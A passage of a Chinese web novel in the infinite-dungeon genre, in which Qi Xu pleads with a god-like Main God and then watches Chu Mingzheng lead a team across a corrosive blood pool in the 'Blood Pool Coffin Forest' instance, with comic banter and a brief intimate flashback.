齐栩蹙起眉心,伸手拿起了那张纸,仔细将其上内容一行行的看了下去。 他的神情越来越凝重,越来越阴沉,到最后已经濒临可怕的地步了。 纸上详尽的记叙了他十八岁到二十岁那几年,所有经历过的副本,连级别和时间线都标的清清楚楚。 其中“血池棺林”这个副本的名字在所有副本中显得格外鲜明。 因为有人用红笔在这四个字上勾画了一个重重的圆圈,力透纸背,坚韧而刻骨。 齐栩听见自己的心脏一起一伏,在胸腔里发出惊天动地的响声。 至此,楚明铮今天晚上隐瞒他出行的目的,已经浮出了水面。 齐栩只觉脚下站都站不稳,一个踉跄,险些跌坐在地上。 血池棺林里确实藏着他崛起的秘密。 但是知晓这个秘密的代价,绝不是凡胎□□所能承受的。 他不能让楚明铮冒这个险,他愿意用命去跟主神做交易,以求主神开恩中断副本,放楚明铮回来。 齐栩拎起那张纸,转身离开第二公会,直奔主控中心。 一刻钟后,他站在了主神的图腾面前。 齐栩二话不说,“扑通”一声跪在了地上。 空中随之传来轻快的笑声。 “我知道你为什么前来,但是我不能答应你的要求。” 齐栩猛然抬头,目光里已经被绝望填满了:“为什么?” “楚明铮二世为人,身体各项机能都不好,他没我对您有用的!大人,我求您了,您就让他出来行吗,只要您让楚明铮出来,我现在就愿意放干身上所有的血供养您,死后也埋在人俑里,千百年的供您消磨!” “我现在要你去死干什么……”主神奇怪道:“你才二十四岁,你活着给我提供的价值更大,我不会让你去死的。” “但是我也不能让楚明铮出来。” “他是为了窥伺我的秘密,而主动选择的血池棺林,我就这么轻易的放他出来了,我的尊严往哪里放呢?” 齐栩跪在地上,急的一叠声的解释:“不是,不是的大人。” “他不是为了窥伺您,他只是想弄清楚,我的成长路径,我又没办法对他如实相告,他才出此下策的!” “绝对不是为了窥伺您的秘——” “既然如此,那他就更可恶了。”主神幽然打断齐栩:“他作为师父,却不能接受你在短时间内成长的比他更快,更强,甚至一跃居于他之上,所以他千方百计的想要得到你变强的原因。” “找到原因之后,要么他想有样学样,变得跟你一样强……要么,他想找到这个原因来安慰自己,安慰自己并不是技不如人,而是你走了捷径。” 齐栩猛然提高声音反驳:“那万一他是心疼我呢?” 心疼我在他看不到的地方付出了沉重的代价,他想搞明白怎么回事,从而进一步跟我解开误会呢? 后半句话是齐栩在心里说的。 主神听不见,但是他显然能够领会意思。 空旷的室内一片安静祥和。 “你觉得可能吗?”主神和煦的问。 齐栩的脑海里浮现出那天晚上,楚明铮在办公室里对他说过的话。 …… “你能不能看在我养你一场的份上,起码告诉我,你离开基地之后没受太多委屈,给我个心安,让我不至于……太心疼。” 记忆里的灯光骤然昏暗下去,他的视线里全是楚明铮那天晚上背对着他的模样。 那人腰窝塌陷,被他一只手控在掌心里,白皙细腻的脊背上散落着薄薄的汗意。 激烈程度实在让楚明铮受不了的时候,他会回头狠狠瞪齐栩一眼,示意你给我适可而止。 齐栩当然不会听他的。 他将粗糙的指腹伸过去,轻轻揩掉楚明铮眼眶边缘,那丝清浅而红晕斑驳的泪痕:“别怕师父,我轻点。” 楚明铮得了他的保证,便只能隐忍的再次抿上嘴,以防自己控制不住,将缠绵的声音从喉咙里泄出去。 那天晚上的楚明铮又隐忍,又安静,湿水淋漓的目光中是对齐栩无声的纵容与愧疚。 …… 齐栩挺直腰板跪在原地,无声的与主神对抗。 主神在空中无奈的掀起一阵凉风,半晌叹了口气:“好吧,我可以退让一步。” “我给你开权限,允许你实时观看楚明铮过副本的全程,必要的时候你可以进去救他一次,行吗?” “但是营救时间不能超过十分钟。” 齐栩知道这是主神能接受的最大让步了,不答应也得答应,只好缓慢的点了点头。 图腾旁边的墙壁上,赫然浮现一面巨大的投影。 那投影的光线很虚无,仿佛不存在似的,但是其上的画面和人物,却又是真实的。 “正好,我在这里跟你一起看。”主神心情不错的道。 “说起来,我也是很多年……没有再想起过关于血池棺林的那些事了。” 齐栩的目光紧紧盯着屏幕,寸步不离。 下一秒他就同时看见楚明铮和楚朝,还有周自重,大徐的身影。 “楚朝怎么也在里边!”齐栩更激动了:“他还是个孩子!” “一个一嗓子放倒唐虞非,帮着楚明铮躲过你家无数监控,神不知鬼不觉找到血池棺林的线索,并且一个星期之内长到十四岁的孩子,是吗?”主神提醒他。 齐栩:“……” “安静点吧,说不准副本里你儿子比你有用。” 齐栩并没有放心多少,目光担忧的继续看了下去,屏幕中楚明铮的每一帧身影,都让他为之提心吊胆好半天。 …… 楚明铮拍了拍手,从墙壁旁边走到甬道正中:“行了,既然人已经齐了,我们也都认识彼此了,那就甬道那头走走看吧,这种封闭性空间的副本需要团队合作的地方多,最忌讳彼此不信任,既然你们信任我——” “我们当然信任你!” “那就听我指挥。”楚明铮微笑道。 “我打头阵,大徐拿着枪断后,周自重你去跟他走一排,以防走失,剩下的人在中间站好,害怕的话可以手牵手。” 几个小年轻一迭声的说好,陈靖回过身,很注意的牵住了弟弟的手。 “妈妈,那我呢?”楚朝期待的问。 “你跟我一起打头阵。” “好嘞~”楚朝兴高采烈的道。 一行人按照这个队形,逐步向前走去。 甬道里五步一盏烛台,光线泛着诡异的绿光,头顶的天花板修的很低,周遭狭小,越走越压抑。 “阿乔,你有没有感觉……有凉风在我们脖子后边吹啊?”李子树抖动着打了个寒颤。 乔文拧了拧脖颈,有点害怕道:“没有啊,你是不是感受错了?” 李子树伸手去摸自己的后脖颈,欲哭无泪:“可是我真的感觉到了。” 那股小旋的凉风越来越密集,几乎盘旋在李子树的脖颈后,挥之不去。 楚明铮闻言扭过头,去看他们什么情况,然后他的神情随即一凉:“走在李子树后边的那位同学,你为什么往他脖颈后面吹气啊?” 李子树吓得肝胆俱裂,转身回头,却撞上了陈可那张傻乎乎的笑脸。 这傻子的嘴巴还维持着一个嘟起来的可爱状态,腮帮子鼓着,正从唇缝里吐出口气,一下一下的往李子树后脖颈上吹。 陈靖连忙伸手将弟弟一拍:“你干什么呢!” “不许捣乱!不好意思啊,给您添麻烦了。”他赶紧抱歉的冲李子树鞠躬。 李子树魂都吓飞了,指着这傻子气的直打哆嗦:“你你你……” “有你这样的吗!干什么往人脖子后面吹气!” 陈可笑嘻嘻的拍了拍掌,说道:“好玩!” 李子树一下子被这傻子激怒了,回身就要揍他,被乔文和身后的大徐合力拦住。 “哎哎哎——哥们,冷静啊冷静,在这地方打架,多危险呐。” 陈靖苦着脸,但还是不得不护住他弟弟,不让李子树的拳头抡到弟弟身上。 一片乱套。 楚明铮回过身,开口道:“好了。” 偶像一发话,李子树倒是镇定住不少,但还是一脸怒火,看起来想给这傻子一个教训。 “大徐说的对,这个甬道里很危险,得尽快离开,不要在这种地方打岔子。”楚明铮对李子树半是安抚,半是警告道。 李子树缓缓放下了拳头,心有不忿,但还是忍住了。 楚明铮伸出一根手指,隔空点了点陈可的鼻尖,慢斯条理道:“至于你。” “如果再让我看到你在队伍里捣乱,那我就只好请你过来代替我打头阵了,走在最前方的人最容易死,因为无论什么危险都是你最先面对,这个你知道吧?” 陈可也不知道听没听懂,一味的嗦着自己的手指不说话。 陈靖的脸色看起来十分难堪:“楚哥……” 楚明铮无奈的给他递了个眼神,意思是说我只是吓唬一下你弟弟。 “所以如果你不怕死的话,你就过来替我先死。” 陈可“嗷呜”一嗓子,哭出来声,震得周围烛火都抖了三抖。 楚明铮转回身去继续带路,队伍里的其他人看起来脸色都不是很好,团队里有这么个累赘,众人心里都七上八下的,很难不紧张。 又不知道过了多久,最前方的楚明铮逐渐停下脚步。 “怎么了楚哥?”队尾的大徐问了一声,他担心楚明铮遇到危险。 “没事,就是我们现在面临了一个困难。”楚明铮思索着道。 其余人纷纷散开队形,走到了他身边,只见不远处的甬道地面上,横亘着一方两三米长的池水,宽度就还是甬道本身那个宽度。 具体不知道池水多深,楚朝从地上捡了块石子,从衣服上拆了根毛线下来,系在石块上,往水中一抛,以此试探深浅。 楚明铮不悦的瞪他一眼:“这是件新毛衣。” “哎呀,回去以后妈妈再给我买嘛。”楚朝不以为意,手上牵着那根毛线,只觉毛线那头的石子始终落不到池底。 楚朝疑惑道:“这池水是得有多深?” “怎么半天感受不到落地呢?” “也许是你系的太松,石头在水里飘到一半掉下去了。”楚明铮随口道。 “那不可能,我是个鬼,我能操控空中的东西好吗,经过我手的毛线都是能伸缩的,绝对掉不了。” ……那情况就有点不妙了。 楚明铮凝重道:“你把石头拎上来吧。” 楚朝点头,手指一勾,又过了片刻,他手里毛线的另一端才缓缓浮出水面。 却见原本半掌大的石头已经变成了指尖大小,脱水而出的时候,还冒着滋滋热气,活像是被硫酸泼过一样。 周自重震惊道:“不是等等,石头被这液体腐蚀了?!” “这什么东西?” “不管它是什么东西,我们现在都得从这个池子里过去,硬淌过去肯定是不行了,楚朝刚才扯出来的毛线那么长,一直伸下去都没有尽头,池水有腐蚀性,也不能游泳。”楚明铮盯着那摊池水思考道。 “楚,楚哥。”乔文声音颤抖着道。 “我怎么感觉,这池子里边装的是血……你仔细看它的颜色。” 楚明铮被他一提醒,才意识到这一点,他随即俯身看去。 刚才被甬道旁边的绿光一遮盖,他居然没有注意到。 池水波澜不惊,在绿色长明灯的掩映下,显得很像是普通的陈年浑水,只有离近了细看,才能看出那一点波纹里所浮现的一抹红色。 这是一个带有腐蚀性的血池。 而他们现在要通过甬道,就必须经过这个血池。 事情变得棘手了起来。 “你那个操控别人在空中浮起来的功能,能不能用?”楚明铮问楚朝。 楚朝脸上露出头疼的神色,他伸出手试着指了一下除楚明铮之外的人,发现对方丝毫不动。 “不行,我应该是只能对跟我有联系的人进行隔空操作,我的毛线是我的贴身衣物,妈妈你跟我有血缘关系,其他人我没办法。”楚朝遗憾道。 楚明铮在甬道里来回走了几圈。 过了片刻,他从系统里调出一个带有吸附功能的收缩绳索,拿在手里掂了一下,抬头朝血池中央上空的天花板看去。 大徐跟他一起搭档过很多年,楚明铮一个动作,他就知道楚明铮打算干什么,于是张口道:“要不我来吧楚哥,我手臂力量比较强,我能把他们都甩过去。” 楚明铮无语的瞥了一眼他浑身的腱子肉和高壮的身形。 “你不行。” “我为什么不行?”大徐难得对他的话不服气。 楚明铮叹了口气:“这个吸盘有体重限制,你坠上去,就会连人带吸盘一起掉下来。” 大徐:“……哦,你嫌我胖。” “我没有。” “你有。” “我真没有……安分点,待会儿到那边接应我。” 楚明铮不再废话,单手拎起吸盘,另一只手扯出吸盘身后的绳索,瞄准不远处血池上空的天花板,手臂发力,三二一裹挟厉风投掷而出! 吸盘底座“咚——”的一声被固定在了甬道的天花板上,楚明铮一手捏住伸缩绳,单膝点地,做出一个准备动作。 下一个瞬间,绳索飞快收缩,在空中发出“嗖嗖”两声,将楚明铮的身体一拽而起,凌空飞跃,半秒之内直抵天花板! 楚明铮伸手稳稳握住吸盘底部的扶手,整个身体悬在半空,身下就是一片死寂但危险四伏的血池。 周自重和大徐都不是第一次见楚明铮在副本里的身手,所以都没表现出太过震惊的神色。 其余三个粉丝面面相觑,随即在血池边上鼓起掌来。 “哇塞,好厉害!” “楚哥你身手真行!” “跟我小时候在贴吧里看到的照片里一样帅!” …… 楚明铮吊在空中,被这群人夸的心情复杂,单手扶额半晌,和颜悦色道:“我建议我们还是快点,我不能保证我的体力够不够把所有人扔去对岸。” 大徐立刻组织指挥起来:“来,挨个排队站好。” “我这里还有几条绳索,大家每人一条,留出一段助跑距离,跑到血池边的时候将绳索扔出去,楚明铮会抓着绳索的另一端,从空中将你们甩过去。” “注意安全,不要害怕,相信楚明铮,我用我的人格担保,我俩打配合这么多年,他从没手滑过。” 楚明铮痛苦的插嘴道:“大徐,你现在怎么话也变得这么多?” “我在给他们吃定心丸,谢谢。” 李子树和乔文,周自重几人虽然紧张,但都对楚明铮绝对信任,他们甩着绳子,随时准备助跑起跳。 就在这时,队伍最尾的傻子陈可忽然又嘶吼着哭了起来。 “哥哥!我不要跳那个红色的池子——” 第73章 血池棺林(二) 殉葬者和盗墓者…… 陈靖的脸上再次露出难堪的神色。 他飞快的将弟弟扯到一边去,那块头高大的傻子正蹲在地上,拍着腿边哭边挣扎:“哥哥,那个血池子好可怕,我过去了一定会被摔下去的,我不要!” “怎么会呢!”陈靖着急道。 “有楚先生在,你不会掉下去的,只要你乖乖听话,哥哥让你干什么,你就干什么,我们一定能安全到血池对面的。” “我不要——我不要——”陈可没有半点被哄好的迹象,依旧又哭又闹的吵嚷着。 陈靖的神情被无奈和焦虑所填满,他求助性的朝空中的楚明铮望了一眼。 楚明铮单手扳住吸盘上的把手,略一思索,吩咐道:“没事小陈,我待会儿想办法带你俩,你先靠后,其他人先过。” 陈靖只好带着弟弟站到了队伍最末。 陈靖陈可两兄弟的身形一让开,位列第一的就是乔文。 乔文手里捏着绳索,紧张的浑身冒汗,他虽然信任楚明铮,但是他并不信任自己。 楚明铮的位置不偏不倚刚好位于血池正上方,而血池的正上方距离血池的边缘还有半米的距离,他需要在跑到血池边缘的瞬间,整个人凌空起跳,并且用力将手中绳索投掷出去,让空中的楚明铮拽住,再在半空中迅速发力,将他甩去对岸。 这一整套流程下来,中间但凡有任何一个点出了差错,他就得死无葬身之地。 乔文的牙齿咯咯打颤,半天站在原地难以迈出第一步。 楚明铮吊着空中,懒洋洋的张口调侃道:“你刚才还说崇拜我很多年了呢。” “怎么,对崇拜的人这点信任度都没有?” “不是……”乔文虚弱的笑:“我是不信任我自己,我觉得我跳不到您手臂能够到的位置。” 楚明铮注视着他的眼睛,平和而笃定的道:“只要你不是一头冲着水里的方向扎进去的,我就有十成的把握送你去对岸,无论你跳的多低。” “我保证。” 乔文热泪盈眶的看着偶像那双冷静而温和的眼睛,只觉不真实的厉害,年少时只能隔着手机仰望的人物活生生的走到了自己面前,正朝自己伸出援助的手掌。 跟做梦一样。 死也值了,乔文含泪心想。 下一个瞬间,他俯下身去单手撑地做助跑式,起身的刹那对准血池边缘飞身而出,手中绳索扬空抛起。 空中风声凌厉呼啸过耳畔,身形下坠的瞬间,绳索的另一端被人用力拎住,乔文在空中瞪大眼睛,只觉一股巨大的力量从绳索那头灌注而下,几乎是硬生生的将他从失重的下坠状态强行拽起,顺着惯性作用,强而有力的抛掷到了血池的另一端。 无边血色从他眼眶的余光中飞掠而过。 乔文再有意识的时候,他已经安安稳稳的摔在血池对岸的地面上了,手掌因为剧烈的摩擦被蹭破了大片大片的猩红,膝盖也砸的剧痛。 但是他安全的从血池对岸跃过来了。 乔文下意识去看楚明铮,只见楚明铮仍然吊在半空,神情未变,只是胸膛略有起伏,显示出他方才过度用力的迹象,除此之外,楚明铮并没有太多别的疲惫反应,甚至神情里隐隐藏着倨傲,朝他挑眉一笑。 你看,我说我能把你安全送过来吧? “我去!楚大佬太厉害了,我都没看清你是怎么做到的!感觉阿乔呼哨一下就飞过去了哎!”李子树激动的啪啪拍手,在血池对面上蹿下跳。 “下一个轮到你了,你不害怕吧?”楚明铮在空中转变了一下方向,语气轻松的问。 “当然!我准备好了!” 楚明铮伸出右手,四指并拢,朝里弯曲招了招手,朝他做出一个“来吧”的姿势。 李子树有样学样,助跑起跳,整个人犹如猴子在林间倒挂一般,十分顺溜的就被楚明铮送过去了。 李子树跟乔文在血池对面激动的又蹦又跳。 “啊啊啊偶像——” “偶像手劲真大!” “好幸福,要是刚才没有那段绳子,楚哥直接牵着我的手扔过去就好了!” …… 主控中心,主神图腾前。 齐栩的表情变化莫测。 主神在空中飘飘忽忽的盘旋着端详他的脸,实在没忍住,“扑哧”一声笑了出来:“我说你至于吗?你的表情看起来下一秒就要吃人了。” 齐栩绷着脸,一言不发。 “你小时候也没少偷偷上网吧,你难道是第一天知道,楚明铮在上一代玩家心中的受欢迎程度吗?”主神打趣的问道。 齐栩忍了又忍,忍的头上青筋暴跳,终于忍不了,嚷嚷开了:“什么叫‘楚哥直接牵着我的手扔过去就好了?!’他到底是来过副本的,还是来调戏楚明铮的?!” “哎呀,你这人——怎么,只允许楚明铮牵你,不允许他牵别人?”主神笑道。 “问题是他从不牵我的手!” “哦哟,过副本遇到危险的时候也不牵?”主神声调很有节奏的起伏道。 “不牵,他只会在危险过去之后凶巴巴的拎着我的领子,逼我复盘刚才生死一线中,我有哪些可以改进的地方,下次不再犯。”齐栩冷冷道。 主神赞许道:“严师出高徒啊,虽然他上次严重冒犯了我,但是我还是对这个人很好奇。” 齐栩恼火的磨了磨牙,心说您这个因果关系并不成立。 “再退一万步来说,他对别人都好,却只凶你,然后你还喜欢他,好奇怪的感情。” “因为我贱。”齐栩咬牙切齿道。 主神悠然评价:“看出来了。” …… 第三个要过血池的人是周自重。 周自重同志确实没前边两位那么害怕,一来他相信楚明铮,二来他相信自己。 周自重能从无数籍籍无名的过副本玩家中杀出来,先做第一公会会长,又做第二公会会长,显然也是有两把刷子在身上的。 他在危机时刻从不掉链子。 更何况眼前他的合作者是楚明铮,这位更是高阶玩家中公认的靠谱,更没什么需要担心的了。 唯一只有一点,那就是周自重同志的面子问题。 他站在血池边上,压低声音对楚明铮道:“楚哥,你最好是一视同仁,对你粉丝是一个怎样温和的态度,你对我也最好是这样,听到了吗?” “不然我会伤心的。” 楚明铮不耐烦道:“你哪儿来这么多废话?” 周自重:“……” “这还没搭上手呢,你就这么嫌弃我!”周自重怒道。 “人家两个年轻人什么体重,你什么体重?”楚明铮呵斥道:“不是我说你老周,你平时办公室坐久了,好歹也出门锻炼锻炼,腰上游泳圈都几层了,我一会儿拉绳子的时候手心都得磨破皮。” 周自重倒抽一口凉气,捂住心脏又要倒地—— “大徐把他推到池边来,让他别作妖,赶紧的速战速决。”楚明铮吩咐道。 大徐火速执行,将周自重从背后扶着就推过来了,边推边安抚:“没事的,没事的周会长,我楚哥就是嘴硬心软,你看他平时损你,真要把你往那血池子里一泡,他也舍不得……” “你让他泡!你让他泡!我在血池子里从头淹到脚,你楚哥也看不出来哪儿舍不得!”周自重悲愤道。 他一边吐槽,一边还是从地上拾起绳子,助跑起跳的时候甚至都没用过多考虑,顺着从前无数次跟楚明铮在副本里合作的肌肉记忆,将绳索一抛,楚明铮顺势就给他扔到对岸去了。 配合的严丝合缝,就像他俩从前年轻的时候无数次那样。 “沉死了。”楚明铮将他扔过去之后,气喘吁吁的抱怨了一声。 大徐担心他的体力,忍不住开口问道:“楚哥,你还能撑得住吧?” 楚明铮缓过一口气,将手掌分出来,随手在裤子上擦了一把手心里的汗水,他拉拽绳子的那只手已经满是蹭出来的红色血痕了。 另一只扶在吸盘把手上的手,掌心里不知不觉沾满了汗水,握在手上,隐隐开始打滑。 楚明铮胸腔起伏,深吸一口气,将自己心头的胆怯压了下去。 这个队伍里谁都能胆怯,谁都能退缩,只有他楚明铮不行。 那种久违的大家长心态时隔多年又重新回到了他的心脏里,楚明铮闭了闭眼睛,又复而睁开,他调动了一下手臂肌肉,对大徐镇静道:“没事,下一个。” 大徐将目光转向陈靖和陈可兄弟二人。 陈靖为难的拉着弟弟的衣袖,看了看楚明铮,又看了看弟弟,感觉下一秒就要哭出来了。 陈可的体型起码是他的三倍大,他无论如何也没法在他弟弟不情愿的情况下,强行逼着他配合他们过血池,甚至来说,他现在试图把他弟弟从地上拖起来,都难以让他挪动分毫。 陈可被哥哥又哄又劝了数十分钟,仍然不为所动。 他哥哥想让他站起来,往血池边上走着试试。 他反手一拽,将他哥哥拽了个趔趄,又重新坐回了他身旁。 “哥哥……哥哥也不去,危险。”陈可含混其词的对陈靖道。 陈靖快崩溃了:“祖宗,只有趟过血池,才能活命,难道哥哥会害你吗!” 陈可显然没觉得哥哥会害他,但他对楚明铮有种天然的排斥,无论如何都不肯靠近上前。 楚明铮在半空中开口:“小陈。” 陈靖惶惶的抬起头,跟楚明铮对上了眼光:“楚哥,实在对不住……” “我保证会把你弟弟安全送到对岸,但是我有一个前提条件。”楚明铮在这个副本里难得用的语气是命令,而不是商量。 “你说,楚哥你说。”陈靖心里升起一线希望,连忙道:“只要我能办到,我一定配合。” “那就是你得先过来。”楚明铮说出了他的要求。 陈靖果然还是露出了一丝犹豫:“可……” 楚明铮为什么要他先过去? 他过去了之后,弟弟怎么办? 在这个世界上,弟弟只听他一个人的话。 陈靖下意识想拒绝。 然而楚明铮下一句话完全打碎了他的希望:“如果你不答应我的话,我就只好把你跟你弟弟一起留在血池那头了。” 陈靖片刻之间心神大起大落,他一手攥着弟弟,一手死死扣住地板,无比绝望的看着楚明铮。 “两个选择放在你面前,你选哪个都行。”楚明铮喘过了一口气,额头上冒出了细密的汗珠。 “其实我力气剩的也不多了,如果你再把时间耗下去,我就只能先顾我自己的战友了。” 楚明铮的语气仍然很温和,但是大徐还是敏锐的听出他声音里含着一丝不易察觉的虚脱。 大徐皱了皱眉头,想起楚明铮其实本身还是个刚死而复生没多久的病人,相当于说身体各项零件都重组了一遍也不为过。 他能在半空中仅凭一只手的力量支撑了这么久,还一口气承重三个人过血池,已经很了不起了。 再拖下去,楚明铮就是心力再强悍,体力也难以支撑。 大徐的神情越来越焦虑,他走到陈靖身后,刚要动手威逼,却听陈靖开口道:“好的,楚哥,我愿意先过来。” 楚明铮点头表示同意,腾出那只握绳子的手,准备好在空中接应他。 抛开他弟弟的因素,如果只接应一个陈靖的话,倒是不难,陈靖是他们当中体重最轻的人,动作也轻快敏捷,将绳子一抛,就被楚明铮捞到空中,一甩而出。 两秒钟后,陈靖就在血池对岸轻巧落地。 他自己落地后,稍作缓冲,就立刻站起来,转身担忧的看着对面的弟弟。 楚明铮在空中又调整了一下姿势,他刚要换个手,回身去吩咐大徐,却听手下吸盘器发出“咔嚓”一声细微的响动。 吸盘器松了。 楚明铮头皮一炸。 这事情就有点麻烦了,他的道具库里可没有第二个吸盘器了。 他此时倒掉在甬道的天花板上,全身所有的着力点,都维系在吸盘器上,倘若吸盘器一下子吃不住力道,从半空中跌落下去,那楚明铮也即将跟着完蛋。 楚明铮伸手碰了碰吸盘器的底部,发现它的吸附面积正以一个细微但稳定的速度逐步缩小,吸附边缘部分一寸寸开裂,再过撑死不到三分钟的功夫,这个吸盘器就会报废掉的。 “不好,楚哥,吸盘器是好像是有时间限制的!”大徐猛然一惊,提醒他道。 这对在场的所有人来说都是一个坏消息。 如果楚明铮没了,这个S级副本对于几个菜鸟新人来说将是地狱难度,退一万步来讲,就算楚明铮在吸盘器作废的前一秒凭借敏捷的身手和速度成功跳到对岸。 那对岸的大徐和陈可也就永远过不来了。 无论哪一种情况,都是在场众人不想看到的。 “大徐!你先跟着楚哥过来,那个傻子先放那儿!咱们待会儿再想办法。”周自重着急道。 陈靖立刻崩溃出声:“绝对不行,我弟弟一个人留在那里就死定了,楚哥,你说过不会放弃我弟弟的,拜托了楚哥……” “我说你这人——”李子树看见陈可就来气,看见陈靖更来气,上前就要动手强行压制陈靖。 血池对岸的陈可见哥哥受欺负,当即怒吼一声,站起身来朝血池边缘快跑两步,眼看着就要扑倒在池子里边—— “小可!”陈靖肝胆俱裂大吼一声。 然而头顶上楚明铮的声音比他更大:“大徐!” “在!”大徐条件反射应声。 “把他绑起来!绑结实一点,团成球给我扔上来,然后你知道该怎么做,就像我们以前那样!” 大徐立刻有了方向,闪电般伸手,从身后一把扳住陈可的肩膀,在傻子吱哇乱叫的嘶吼中,大徐二话不说,从腰间解下绳子,三下五除二放倒陈可,将他以一个驷马躜足的形态飞快绑好。 他本来就胖,以这么个形态往起一绑,显得更像个圆球。 陈可的惨叫瞬间震响整个甬道,他哥哥在对岸担心的注视着这边。 楚明铮目光灼灼,在高空中双手紧握吸盘器,蓄势待发。 只见大徐拎起陈可,他的肱二头肌十分发达,而且个子很高,陈可在人群中已经算的上高胖的存在了,此时被他驷马躜足的绑着,往手上一拎,居然跟个手提袋没差多少。 大徐圆目怒瞪,浑身肌肉紧绷到极致,大吼一声,随即将陈可朝着高空投掷出去! “接住了楚哥!” 在陈可惨叫着飞过来的刹那,楚明铮在半空中以迅雷不及掩耳之势,迅速拧身,陈可与他飞身错过的瞬间,楚明铮腰胯一横,用尽全身力气在陈可屁股上猛撞出去! 陈可一路惨叫着宛如一个巨大的肉球,在甬道上空滑翔而过—— 最后惊天动地一声巨响,砸在了地面上。 陈靖惊叫一声:“小可!” 然后飞快跑到了弟弟面前,跪在他面前,手忙脚乱将他身上的绳索往下解开,陈可一边伏在地上抽搐,一边嚎啕大哭,兄弟两人乱作一团。 与此同时,楚明铮这边的吸盘器已经摇摇欲坠了。 他迅速转头,大喝一声:“大徐!上来!” 多年的默契,使大徐不需要他说第二遍,倒退三米,一个助跑,三步并作两步对准血池边缘狂奔而至! 同时他拼命向上抬手,楚明铮单手握住吸盘器最边缘的底部,倾尽全力,身形向下,宛若猴子捞月一般,对准大徐回手一够,两人的手掌瞬间交握在一起。 大徐和楚明铮都是个高腿长的成年男性,而且相对而言,久经沙场,对自身的重力和姿态有一定控制能力。 甩出去的第二秒,大徐的身躯已经掠过了血池对岸上空。 大徐在空中用尽自己全身力气,拼命把楚明铮往血池对岸的台阶上扯。 巨大的拉拽力,使得楚明铮手中吸盘彻底报废,“咔哒”一声,整个吸盘底座从甬道上空的天花板上骤然脱落! 楚明铮咬着牙,只觉手掌快要被大徐巨大的力道给拽脱臼了,耳畔什么都听不见,一片尖锐的空洞风声刺穿而过。 “轰——隆——” 等到楚明铮再从剧痛中回过神来的时候,他已经横着趴在了血池对岸的青石板砖上。 浑身内脏都好像被颠覆了个个,膝盖骨和手臂关节都泛起了淤青,楚明铮费力的想从地上爬起来,却发现自己左手手掌里全是捏吸盘器时因为过度紧张而渗出来的冷汗。 右手掌心全是拉拽麻绳时被摩擦出的血痕,稍微动一下就火烧火燎,疼痛的厉害。 楚明铮从脑袋疼到了尾椎骨,周自重和乔文,李子树三人在旁边已经看呆了,过了好半晌,才连滚带爬的过来搀扶楚明铮。 “楚哥,楚哥你没事吧,哎呦我……心疼死我了。” “楚哥你手掌痛不痛,哎呀呀,皮都破了这么一大块!” “楚哥,我给你吹吹,快把手伸出来。” 三个人围着楚明铮一迭声的关心看护,弄的楚明铮哭笑不得,不得不挥手驱赶这群人:“行行行……我没事。” “他们闹也就算了,周自重你跟着闹什么闹?” 周自重委委屈屈往过一靠,肥胖的手指柔若无骨的攀附在楚明铮的肩膀上:“我也心疼楚哥~~” “滚。” 楚明铮恶心的起了一身鸡皮疙瘩,挣扎着被几人扶着从地上站起来,喘息几声问道:“大徐,大徐怎么样了,没摔伤吧?” 大徐在不远处虚弱挥手:“我没事,哥……没事,我就是落地的时候摔着尾椎了,现在它有点涩的慌。” 周自重立刻返身过去:“我天,大徐,快把裤子脱了,我给你看看尾椎。” 大徐尾椎瞬间不疼了,捂着屁股站起来,逃到楚明铮身侧,惊恐控诉:“楚哥,他耍流氓!” 楚明铮一人一巴掌给他们都拍安分了,环顾四周检查人数的时候,却惊悚的发现还差了一个人。 “楚朝!” “楚朝人呢?”楚明铮着急的到处找儿子。 只听血池对面传来一声细若游丝的声音:“妈妈,你终于想起我来了。” 楚明铮心里凉了半截,他心说怎么把这小子给忘了。 可是眼下吸盘器已经失效,楚朝该怎么过来? 楚明铮刚刚经过了生死一线的惊悚运动,脑子一时间还是浆糊的,事实证明人在极度紧张的情况下,是很容易脑子短路的,哪怕他是一个没有阿兹海默症智商正常的成年人。 “你等一下。”楚明铮迅速在自己道具库里翻找起来:“肯定还有办法救你过来,别急让我找找——” 楚明铮嘴上说着让楚朝别急,自己脑门上却不由自主渗出一层又一层的冷汗下来。 怎么办,怎么办,怎么办…… 那么大一个儿子就给忘到血池对岸去了,从副本出去怎么给齐栩解释…… 楚明铮越翻找越急,几乎快把自己道具库翻了个底朝天。 就在这时,他听见那死孩子在身后不紧不慢的幽幽叹息一声,故作自怜的对楚明铮道:“唉,妈妈,你居然一点都不关心我……” “别胡说八道,我关心你,你自己刚才躲哪儿去了?” “哦~可是如果你关心我的话……”楚朝贱兮兮的拖长声调,一边撒娇一边对楚明铮摇头摆尾:“你就应该记得一个事情。” 楚明铮停下翻动道具库的动作,回过头疑惑道:“什么?” “那就是我会飞呀!妈妈~~” 楚朝双脚离地,一路平稳的升到半空,在众人瞠目结舌的目光下,晃晃悠悠的滑翔到了血池这边。 楚明铮:“……” 大徐:“……” 众人:“……” 大徐一边震惊这孩子居然会飞,一边同情的心想孩子你完了,你是真的出生时间太短,不了解你妈的脾气。 敢在副本里跟你妈开这种玩笑,你死定了。 …… “哈哈哈哈哈哈哈哈……”主神在屏幕前笑的前仰后合, “齐栩,你这儿子生的真是……”主神点评:“绝妙。” 齐栩扶额长叹一口气,完全笑不出来。 他的心脏完全是在跟着楚明铮的一举一动坐过山车,楚明铮方才吸盘器松动的那一瞬间,他心都要跟着提到嗓子眼了。 见他们一行人转危为安,齐栩这才松了一口气,浑身冷汗如瀑,活像是他自己跟着过了一趟副本一样。 主神在空中继续盘旋了几个来回,俯身见齐栩仍然脸色很差,便悠然开口劝道:“你完全没必要为他担心的。” “二十年前你还小,估计对那时候的副本世界没印象,我可以告诉你二十年前,那个时期的楚明铮是什么样子。” “三年内干到积分总榜第一,且始终高居不下,楚明铮十几岁就进副本了,那个时候主控中心甚至都还没完全建成,他就已经是声名鹊起的大佬了,也是在你之前最年轻的总榜第一,他只是这些年身体变差了,但是实力不弱的。” “仅仅一个初阶S级副本而已,不至于要了楚明铮的命。”主神用一种嘲笑的眼光打量着齐栩。 “我觉得你有点忧思过重了。” 齐栩缓慢的摇了一下头:“不是。” “我不是在担心你说的事情。”齐栩坐在地上疲倦道。 “那你是担心什么,你不就是怕楚明铮死了么?” “不。”齐栩盯着头顶的屏幕道:“我只是在想,他跟我印象里的楚明铮不太一样了。” 主神洗耳恭听。 “我小时候跟在他身后经历过无数次副本,他从来没这么……博爱。” “是的。”齐栩低声道:“他以前只顾他自己找线索,最多保护一下楚小妙,保护我都是顺带的,保证我不死就行。” “至于像今天这种,为了把所有人都送到安全地带,不惜以身犯险的情况,他以前从没有过。” 主神了然。 “你的意思是楚明铮变得有人性了?” 